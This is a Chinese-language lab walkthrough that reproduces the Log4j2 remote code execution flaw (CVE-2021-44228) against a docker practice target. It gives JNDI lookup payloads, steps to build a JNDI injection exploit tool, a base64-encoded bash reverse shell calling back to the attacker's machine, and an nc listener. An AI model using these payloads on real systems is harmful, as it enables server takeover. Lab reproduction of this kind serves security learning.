Apache Log4j2是一个Java的日志组件,在特定的版本中由于其启用了lookup功能,从而导致产生远程代码执行漏洞。
影响版本:Apache Log4j 2.x<=2.15.0.rc1
漏洞编号:CVE-2021-44228
目标:Ubuntu ip: 192.168.241.129
攻击机 :kail ip: 192.168.241.128
由于我的Ubuntu虚拟机已经搭建过docker,直接用以下命令下载漏洞镜像
sudo docker pull vulfocus/log4j2-rce-2021-12-09:latest
拉取本地环境运行,本地启动命令:
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest
没有安装docker的可以访问Vulfocus,使用靶场环境:
https://github.com/fofapro/vulfocus
搭建好后访问虚拟机ip加端口:
http://192.168.241.129:8080
通过DNSLog Platform平台
https://dig.pm/
获取到子域名,构造payload:
${jndi:ldap://5097bd9c.dns.1433.eu.org}
浏览器点击???并使用Burpsuite抓包,替换payload参数,此时发包会导致服务器400错误,需要将pyload进行url编码。
在DNSLog网站成功接收到解析记录
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用
https://github.com/welk1n/JNDI-Injection-Exploit
工具使用:
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
使用mvn命令生成JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,使用mvn命令前需要确认maven安装
使用命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
反弹shell指令
bash -i >& /dev/tcp/ip/port 0>&1 //需要base64加密
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.241.128
可以看到生成5个链接
rmi://192.168.241.128:1099/zvrfsf
rmi://192.168.241.128:1099/xwa9m4
ldap://192.168.241.128:1389/xwa9m4
rmi://192.168.241.128:1099/e1twtt
ldap://192.168.241.128:1389/e1twtt
此时打开另一个终端打开nc进行监听:
nc -lvnp 4444 //kail
nc64.exe -lvnp 4444//windows下用cmd
此时伪造payload,url编码,bp发送
${jndi:rmi://192.168.241.128:1099/zvrfsf}} //5个链接认选一个